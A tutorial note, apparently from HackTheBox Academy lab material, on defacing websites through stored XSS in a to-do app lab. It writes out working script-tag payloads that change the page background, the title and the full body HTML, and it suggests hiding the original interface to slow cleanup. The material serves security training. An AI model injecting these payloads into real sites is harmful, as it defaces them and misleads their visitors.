Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

XSS defacing (stored XSS)

After you can find XSS, exploitation depends on type and context: stored XSS is typically the most severe for site-wide impact because every visitor loads the malicious record.

Website defacing means changing what the page looks like for visitors—often a short “we were here” message rather than polished design. Real incidents (e.g. high-profile NHS defacement in 2018) show reputational and even financial effects. Many bugs can alter a site; stored XSS is a common choice because the change persists and hits everyone who loads the poisoned page.

Four common DOM levers

GoalTypical API
Background colordocument.body.style.background (e.g. hex "#141d2b" or named "black")
Background imagedocument.body.background = "https://…"
Tab / window titledocument.title = '…'
Main contentElement .innerHTML, or replace whole <body> markup

Combining a few of these gives a minimal defacement; you can also remove or obscure original UI to slow reset or cleanup.

Stored XSS lab pattern (to-do app)

Payloads are saved and run for all users after refresh—classic stored behavior.

Change background (color)

<script>document.body.style.background = "#141d2b"</script>

Use any hex or CSS color name. Defacements often use dark backgrounds.

Change background (image)

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

Change page title

<script>document.title = 'HackTheBox Academy'</script>

Change page text

Single element by id:

document.getElementById("todo").innerHTML = "New Text"

If jQuery is on the page:

$("#todo").html('New Text');

Replace entire body HTML (common for a single splash message):

document.getElementsByTagName('body')[0].innerHTML = "…your HTML…"

Prepare and test HTML locally first, then minify to one line inside the script string to avoid quoting/line-break issues. Example message block (from the module):

<center>
    <h1 style="color: white">Cyber Security Training</h1>
    <p style="color: white">by
        <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy">
    </p>
</center>

Wrapped as one payload:

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

View source vs what users see

Injected scripts may sit at the end of the HTML (e.g. inside list markup) while runtime changes rewrite the DOM—users see the defaced view. If injection sits mid-page, later scripts or nodes might still run or render, so you may need ordering or additional DOM edits to get the final look you want.

Takeaways

IdeaDetail
Why storedPersistent, broad audience, good for visible defacement
Techniquestyle, background, title, innerHTML (per-element or full body)
PracticePrototype HTML offline, then one-line payload; verify in the real app